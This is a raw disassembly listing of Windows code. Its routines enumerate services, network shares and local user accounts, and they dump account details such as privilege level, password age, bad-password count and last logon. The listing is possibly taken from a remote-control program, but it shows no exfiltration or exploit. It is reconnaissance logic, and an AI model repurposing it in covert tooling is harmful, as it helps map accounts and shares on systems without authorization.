loc_418F1A:				; CODE XREF: sub_418EA8+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418FC5
		lea	esi, [ebp+var_188]


loc_418F2B:				; CODE XREF: sub_418EA8+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418F74
		dec	eax
		jz	short loc_418F6D
		dec	eax
		jz	short loc_418F66
		dec	eax
		jz	short loc_418F5F
		dec	eax
		jz	short loc_418F58
		dec	eax
		jz	short loc_418F51
		dec	eax
		jz	short loc_418F4A
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F4A:				; CODE XREF: sub_418EA8+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F51:				; CODE XREF: sub_418EA8+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F58:				; CODE XREF: sub_418EA8+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F5F:				; CODE XREF: sub_418EA8+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F66:				; CODE XREF: sub_418EA8+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F6D:				; CODE XREF: sub_418EA8+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F74:				; CODE XREF: sub_418EA8+87j
		push	offset aStopped	; "    Stopped"


loc_418F79:				; CODE XREF: sub_418EA8+A0j
					; sub_418EA8+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_418F2B


loc_418FC5:				; CODE XREF: sub_418EA8+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418EE0


loc_418FCE:				; CODE XREF: sub_418EA8+6Cj
		push	[ebp+var_C]
		call	dword_4CB91C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_418EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FE5	proc near		; CODE XREF: sub_401ACD:loc_406064p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_41907F
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_41900E
		dec	eax
		jnz	short loc_41905F
		push	edi
		push	0
		call	sub_4191B8
		pop	ecx
		pop	ecx
		jmp	short loc_41905B
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418FE5+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41904D
		push	24h
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41904D
		push	57h
		pop	eax


loc_419025:				; CODE XREF: sub_418FE5+78j
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB68C
		push	off_439568[eax*4]
		push	offset unk_439C14
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41904D:				; CODE XREF: sub_418FE5+2Dj
					; sub_418FE5+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_41910C
		add	esp, 0Ch


loc_41905B:				; CODE XREF: sub_418FE5+27j
		test	eax, eax
		jnz	short loc_419025


loc_41905F:				; CODE XREF: sub_418FE5+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB68C
		push	off_43956C[eax*4]
		push	offset dword_439BF8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41907F:				; CODE XREF: sub_418FE5+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB68C
		lea	eax, [eax+eax*2]
		push	off_439568[eax*4]
		push	offset unk_439BD4
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_41909F:				; CODE XREF: sub_418FE5+66j
					; sub_418FE5+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418FE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190A5	proc near		; CODE XREF: sub_41A3C6+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_4190B2
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4190B2:				; CODE XREF: sub_4190A5+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_427188
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB88C, 1
		mov	ebp, eax
		jnz	short loc_4190EF
		or	byte_4DB88C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	dword_4DB62C, eax


loc_4190EF:				; CODE XREF: sub_4190A5+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB62C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB62C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4190A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41910C	proc near		; CODE XREF: sub_418FE5+6Ep
					; sub_41A6EA+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C990
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_419177
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB918
		pop	edi
		leave
		retn
sub_41910C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419177	proc near		; CODE XREF: sub_41910C+Ap
					; sub_41910C+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_419184
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419184:				; CODE XREF: sub_419177+9j
		push	ebx
		push	esi
		mov	esi, dword_4270E8
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419177	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191B8	proc near		; CODE XREF: sub_418FE5+20p
					; sub_41A3C6+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB8F0
		pop	esi
		retn
sub_4191B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4191DB	proc near		; CODE XREF: sub_401ACD+45AEp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_419177
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_419214:				; CODE XREF: sub_4191DB+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB968
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_419277
		cmp	ebx, 0EAh
		jz	short loc_419277
		push	ebx
		push	ebx
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439C60
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_4192E4
; ---------------------------------------------------------------------------


loc_419277:				; CODE XREF: sub_4191DB+5Dj
					; sub_4191DB+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4192DB
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_419285:				; CODE XREF: sub_4191DB+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB90C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_41929C
		mov	eax, offset aNo	; "No"


loc_41929C:				; CODE XREF: sub_4191DB+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_419285
		xor	esi, esi


loc_4192DB:				; CODE XREF: sub_4191DB+A2j
		push	[ebp+var_4]
		call	dword_4CBAB4


loc_4192E4:				; CODE XREF: sub_4191DB+9Aj
		cmp	ebx, 0EAh
		jz	loc_419214
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4191DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192FC	proc near		; CODE XREF: sub_401ACD:loc_4060EDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4193A1
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_41933E
		dec	eax
		jz	short loc_419333
		dec	eax
		jnz	short loc_419359
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_419443
		add	esp, 14h
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419333:				; CODE XREF: sub_4192FC+1Dj
		push	ebx
		push	edi
		call	sub_419422
		pop	ecx
		pop	ecx
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_41933E:				; CODE XREF: sub_4192FC+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_419352
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_4193C8
		add	esp, 0Ch
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419352:				; CODE XREF: sub_4192FC+45j
		push	57h
		pop	eax


loc_419355:				; CODE XREF: sub_4192FC+35j
					; sub_4192FC+40j ...
		cmp	eax, edi
		jnz	short loc_419379


loc_419359:				; CODE XREF: sub_4192FC+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB890
		push	off_43956C[eax*4]
		push	offset unk_439D18
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_419379:				; CODE XREF: sub_4192FC+5Bj
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB890
		push	off_439568[eax*4]
		push	offset unk_439CE8
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_4193A1:				; CODE XREF: sub_4192FC+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB890
		lea	eax, [eax+eax*2]
		push	off_439568[eax*4]
		push	offset unk_439CC0
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_4193C1:				; CODE XREF: sub_4192FC+7Bj
					; sub_4192FC+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4192FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193C8	proc near		; CODE XREF: sub_4192FC+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_419177
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB8FC
		pop	edi
		leave
		retn
sub_4193C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419422	proc near		; CODE XREF: sub_4192FC+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB8EC
		pop	esi
		retn
sub_419422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419443	proc near		; CODE XREF: sub_4192FC+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CBA7C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4197EB
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_419826
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41C266
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419562
		dec	eax
		jz	short loc_41955B
		dec	eax
		jz	short loc_419554
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419554:				; CODE XREF: sub_419443+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_41955B:				; CODE XREF: sub_419443+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419562:				; CODE XREF: sub_419443+102j
		mov	eax, offset aGuest ; "Guest"


loc_419567:				; CODE XREF: sub_419443+10Fj
					; sub_419443+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41C266
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_419817
; ---------------------------------------------------------------------------


loc_4197EB:				; CODE XREF: sub_419443+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439D38
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409869
		add	esp, 20h


loc_419817:				; CODE XREF: sub_419443+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_419826
		push	[ebp+var_4]
		call	dword_4CBAB4


loc_419826:				; CODE XREF: sub_419443+40j
					; sub_419443+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_419443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41982C	proc near		; CODE XREF: sub_401ACD+463Ap

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_419177
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_41986B:				; CODE XREF: sub_41982C+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB984
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4198CC
		cmp	eax, 0EAh
		jz	short loc_4198CC
		push	eax
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439F28
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_4198CC:				; CODE XREF: sub_41982C+62j
					; sub_41982C+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41995A
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_419947


loc_4198DE:				; CODE XREF: sub_41982C+EDj
		cmp	edi, esi
		jz	short loc_41991D
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4198DE
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_41991D:				; CODE XREF: sub_41982C+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439EF4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_419947:				; CODE XREF: sub_41982C+9Ej
					; sub_41982C+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41995A
		push	edi
		call	dword_4CBAB4
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41995A:				; CODE XREF: sub_41982C+A5j
					; sub_41982C+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41986B
		cmp	edi, esi
		jz	short loc_419972
		push	edi
		call	dword_4CBAB4


loc_419972:				; CODE XREF: sub_41982C+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41982C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199AC	proc near		; CODE XREF: sub_418FE5+41p
					; sub_4191DB+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419A5E
		jz	loc_419A57
		cmp	eax, 7Bh
		ja	short loc_419A23
		jz	short loc_419A19
		cmp	eax, 5
		jz	short loc_419A0F
		cmp	eax, 8
		jz	short loc_419A05
		cmp	eax, 32h
		jz	short loc_4199FB
		cmp	eax, 35h
		jz	short loc_4199F1
		cmp	eax, 57h
		jnz	loc_419AAD
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199F1:				; CODE XREF: sub_4199AC+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199FB:				; CODE XREF: sub_4199AC+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A05:				; CODE XREF: sub_4199AC+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
